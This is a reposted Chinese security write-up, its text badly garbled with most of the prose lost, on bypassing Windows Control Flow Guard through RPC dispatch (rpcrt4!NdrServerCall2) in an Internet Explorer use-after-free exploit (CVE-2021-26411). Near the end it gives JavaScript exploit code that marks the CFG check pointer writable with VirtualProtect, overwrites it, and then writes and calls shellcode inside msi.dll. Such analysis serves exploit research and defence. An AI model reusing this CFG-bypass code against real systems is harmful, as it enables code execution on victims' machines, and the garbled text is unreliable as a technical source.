[22019] 2021-05-28_利用WindowsRPC绕过CFG防护机制

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2021-05-28_利用WindowsRPC绕过CFG防护机制 W i n d o w s   R P C C F G S e c T r   L e m o n S e c   2 0 2 1 - 0 5 - 2 8 ( C F G ) W i n d o w s   8 . 1   u p d a t e   3 W i n d o w s   1 0 C V E - 2 0 2 1 - 2 6 4 1 1 使 W i n d o w s   P R C ( ) C F G C V E - 2 0 2 1 - 2 6 4 1 1 C V E - 2 0 2 1 - 2 6 4 1 1 B l i n k U A F r e m o v e A t t r i b u t e N o d e ( ) n o d e V a l u e v a l u e O f c l e a r A t t r i b u t e s ( ) n o d e V a l u e B S T R v a l u e O f n o d e V a l u e U A F C A t t r A r r a y   : :   D e s t r o y U A F 使 ( B S T R D i c t i o n a r y . i t e m s )
W i n d o w s   R P C R P C R e m o t e   P r o c e d u r e   C a l l ( ) / W i n d o w s   R P C W i n d o w s   R P C / S t u b S t u b N D R r p c r t 4 . d l l I D L [     u u i d ( " 1 B C 6 D 2 6 1 - B 6 9 7 - 4 7 c 2 - A F 8 3 - 8 A E 2 5 9 2 2 C 0 F F " ) ,     v e r s i o n ( 1 . 0 ) ]
a d d r p c r t 4 . d l l r p c r t 4 ! N d r s e r v e r C a l l 2 r p c r t 4 ! N d r s e r v e r C a l l 2 P R P C _ M E S S A G E R P C _ M E S S A G E ( 3 2 ) R P C _ M E S S A G E b u f f e r R p c I n t e r f a c e I n f o r m a t i o n R p c I n t e r f a c e I n f o r m a t i o n R P C _ s e r v e r _ I N T E R F A C E R P C _ s e r v e r _ I N T E R F A C E D i s p a t c h T a b l e ( + 0 x 2 c ) s t u b I n t e r p r e t e r I n f o ( + 0 x 3 c ) M I D L _ s e r v e r _ I N F O M I D L _ s e r v e r _ I N F O I D L D i s p a t c h T a b l e ( + 0 x 4 ) I D L a d d ( 0 x 1 1 1 , 0 x 2 2 2 ) r p c r t 4 ! N d r s e r v e r C a l l 2 ] i n t e r f a c e   H e l l o R P C {     i n t   a d d ( i n t   x ,   i n t   y ) ; }
R P C _ M E S S A G E a d d M I D L _ s e r v e r _ I N F O . D i s p a t c h T a b l e r p c r t 4 ! N d r s e r v e r C a l l 2 R P C _ M E S S A G E a d d r p c r t 4 ! N d r s e r v e r C a l l 2 r p c r t 4 ! N d r S t u b C a l l 2 r p c r t 4 ! N d r S t u b C a l l 2 M I D L _ s e r v e r _ I N F O . D i s p a t c h T a b l e R P C _ M E S S A G E . P r o c N u m r p c r t 4 ! I n v o k e r p c r t 4 ! I n v o k e
/ R P C _ M E S S A G E r p c r t 4 ! N d r s e r v e r C a l l 2 C F G M I D L _ s e r v e r _ I N F O . D i s p a t c h T a b l e C F G j a v a s c r i p t r p c r t 4 ! N d r s e r v e r C a l l 2 使 r p c r t 4 ! N d r s e r v e r C a l l 2 D O M v t a b l e r p c r t 4 ! N d r s e r v e r C a l l 2 C F G B i t m a p C F G M S H T M L ! C A t t r i b u t e : : n o r m a l i z e r p c r t 4 ! N d r s e r v e r C a l l 2 j a v a s c r i p t x y z . n o r m a l i z e ( ) r p c r t 4 ! N d r s e r v e r C a l l 2 r p c r t 4 ! N d r s e r v e r C a l l 2 C F G
1 .   使 R P C _ M E S S A G E r p c r t 4 ! N d r s e r v e r C a l l 2 V i r t u a l P r o t e c t r p c r t 4 ! _ _ g u a r d _ c h e c k _ i c a l l _ f p t r P A G E _ E X E C U T E _ R E A D W R I T E   2 .   r p c r t 4 ! _ _ g u a r d _ c h e c k _ i c a l l _ f p t r n t d l l ! L d r p V a l i d a t e U s e r C a l l T a r g e t n t d l l ! K i F a s t S y s t e m C a l l R e t r p c r t 4 . d l l C F G   3 .   r p c r t 4 ! _ _ g u a r d _ c h e c k _ i c a l l _ f p t r R P C _ M E S S A G E 便 s h e l l c o d e r p c r t 4 . d l l C F G s h e l l c o d e m s i . d l l + 0 x 5 0 0 0 r p c r t 4 ! N d r s e r v e r C a l l 2 s h e l l c o d e f u n c t i o n   k i l l C f g ( a d d r )   {     v a r   c f g o b j   =   n e w   C F G O b j e c t ( a d d r )     i f   ( ! c f g o b j . g e t C F G V a l u e ( ) )           r e t u r n     v a r   g u a r d _ c h e c k _ i c a l l _ f p t r _ a d d r e s s   =   c f g o b j . g e t C F G A d d r e s s ( )     v a r   K i F a s t S y s t e m C a l l R e t   =   g e t P r o c A d d r ( n t d l l ,   ' K i F a s t S y s t e m C a l l R e t ' )     v a r   t m p b u f f e r   =   c r e a t e A r r a y b u f f e r ( 4 )     c a l l 2 ( V i r t u a l P r o t e c t ,   [ g u a r d _ c h e c k _ i c a l l _ f p t r _ a d d r e s s ,   0 x 1 0 0 0 ,   0 x 4 0 ,   t m p b u f f e r ] )     w r i t e ( g u a r d _ c h e c k _ i c a l l _ f p t r _ a d d r e s s ,   K i F a s t S y s t e m C a l l R e t ,   3 2 )     c a l l 2 ( V i r t u a l P r o t e c t ,   [ g u a r d _ c h e c k _ i c a l l _ f p t r _ a d d r e s s ,   0 x 1 0 0 0 ,   r e a d ( t m p b u f f e r ,   3 2 ) ,   t m p b u f f e r ] )     m a p . d e l e t e ( t m p b u f f e r ) } v a r   s h e l l c o d e   =   n e w   U i n t 8 A r r a y ( [ 0 x c c ] ) v a r   m s i   =   c a l l 2 ( L o a d L i b r a r y E x A ,   [ n e w S t r ( ' m s i . d l l ' ) ,   0 ,   1 ] )   +   0 x 5 0 0 0 v a r   t m p b u f f e r   =   c r e a t e A r r a y b u f f e r ( 4 ) c a l l 2 ( V i r t u a l P r o t e c t ,   [ m s i ,   s h e l l c o d e . l e n g t h ,   0 x 4 ,   t m p b u f f e r ] ) w r i t e d a t a ( m s i ,   s h e l l c o d e ) c a l l 2 ( V i r t u a l P r o t e c t ,   [ m s i ,   s h e l l c o d e . l e n g t h ,   r e a d ( t m p b u f f e r ,   3 2 ) ,   t m p b u f f e r ] ) c a l l 2 ( m s i ,   [ ] )
W i n d o w s   R P C C F G R O P R P C _ M E S S A G E C F G L e m o n S e c
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则